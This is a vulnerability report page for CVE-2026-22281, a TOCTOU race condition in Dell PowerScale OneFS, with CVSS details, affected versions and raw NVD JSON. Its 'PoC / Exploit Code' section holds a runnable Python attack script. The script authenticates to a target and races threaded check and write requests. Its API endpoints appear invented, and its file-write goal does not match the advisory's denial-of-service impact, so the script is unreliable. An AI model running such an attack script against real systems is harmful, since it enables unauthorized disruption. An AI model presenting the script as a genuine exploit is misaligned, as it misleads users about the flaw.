Security Vulnerability Report
中文
CVE-2026-22281 CVSS 3.5 LOW

CVE-2026-22281

Published: 2026-01-22 20:16:13
Last Modified: 2026-01-28 18:14:09

Description

Dell PowerScale OneFS, versions 9.5.0.0 through 9.5.1.5, versions 9.6.0.0 through 9.7.1.10, versions 9.8.0.0 through 9.10.1.3, versions starting from 9.11.0.0 and prior to 9.13.0.0, contains a Time-of-check Time-of-use (TOCTOU) race condition vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to denial of service.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:* - VULNERABLE
Dell PowerScale OneFS 9.5.0.0 - 9.5.1.5
Dell PowerScale OneFS 9.6.0.0 - 9.7.1.10
Dell PowerScale OneFS 9.8.0.0 - 9.10.1.3
Dell PowerScale OneFS 9.11.0.0 - 9.13.0.0之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22281 PoC - TOCTOU Race Condition in Dell PowerScale OneFS # This PoC demonstrates the TOCTOU race condition vulnerability # Note: This is for educational/testing purposes only import concurrent.futures import requests import time import argparse def exploit_toctou(target_ip, username, password, target_file): """ Exploit TOCTOU vulnerability by creating a race condition between check and use operations. """ session = requests.Session() # Step 1: Initial authentication auth_payload = { 'username': username, 'password': password } try: # Authenticate to the target system auth_response = session.post( f'https://{target_ip}/api/v1/auth/login', json=auth_payload, verify=False, timeout=10 ) if auth_response.status_code != 200: print(f'[-] Authentication failed') return False print(f'[+] Authenticated successfully') # Step 2: Create race condition between check and use def check_operation(): """Simulates the check phase of TOCTOU""" response = session.get( f'https://{target_ip}/api/v1/fs/access-check', params={'path': target_file}, timeout=5 ) return response.status_code == 200 def use_operation(): """Simulates the use phase after check""" time.sleep(0.001) # Small delay to create race window response = session.post( f'https://{target_ip}/api/v1/fs/modify', json={'path': target_file, 'action': 'write'}, timeout=5 ) return response # Execute race condition attack with multiple threads with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # Submit check operations check_futures = [executor.submit(check_operation) for _ in range(5)] # Rapidly submit use operations to exploit race window time.sleep(0.0001) use_futures = [executor.submit(use_operation) for _ in range(5)] # Step 3: Check for successful exploitation for future in concurrent.futures.as_completed(use_futures): response = future.result() if response.status_code == 200: print(f'[+] Race condition exploited successfully') print(f'[+] Target file: {target_file}') return True print(f'[-] Exploitation attempt completed, check results manually') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-22281 TOCTOU PoC') parser.add_argument('--target', required=True, help='Target IP address') parser.add_argument('--username', required=True, help='Username') parser.add_argument('--password', required=True, help='Password') parser.add_argument('--file', default='/ifs/data/target.txt', help='Target file path') args = parser.parse_args() print(f'[*] Starting TOCTOU race condition attack against {args.target}') print(f'[*] Target file: {args.file}') exploit_toctou(args.target, args.username, args.password, args.file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22281", "sourceIdentifier": "[email protected]", "published": "2026-01-22T20:16:13.257", "lastModified": "2026-01-28T18:14:09.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerScale OneFS, versions 9.5.0.0 through 9.5.1.5, versions 9.6.0.0 through 9.7.1.10, versions 9.8.0.0 through 9.10.1.3, versions starting from 9.11.0.0 and prior to 9.13.0.0, contains a Time-of-check Time-of-use (TOCTOU) race condition vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to denial of service."}, {"lang": "es", "value": "Dell PowerScale OneFS, versiones 9.5.0.0 a 9.5.1.5, versiones 9.6.0.0 a 9.7.1.10, versiones 9.8.0.0 a 9.10.1.3, versiones a partir de 9.11.0.0 y anteriores a 9.13.0.0, contiene una vulnerabilidad de condición de carrera de tipo Time-of-check Time-of-use (TOCTOU). Un atacante con privilegios bajos con acceso a la red adyacente podría potencialmente explotar esta vulnerabilidad, lo que llevaría a una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.5.0.0", "versionEndExcluding": "9.5.1.6", "matchCriteriaId": "75F87F94-D52B-4D81-89A7-CBE5AEFEBA5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.6.0.0", "versionEndExcluding": "9.7.1.11", "matchCriteriaId": "8E921D4F-223E-4630-897F-B55D2B1E06A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.8.0.0", "versionEndExcluding": "9.10.1.4", "matchCriteriaId": "80A6C071-87C3-40C6-8C26-F6D239A77388"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.11.0.0", "versionEndExcluding": "9.13.0.0", "matchCriteriaId": "9019F2DB-1449-4315-85CB-A35BB2AEF4BB"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415586/dsa-2026-049-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}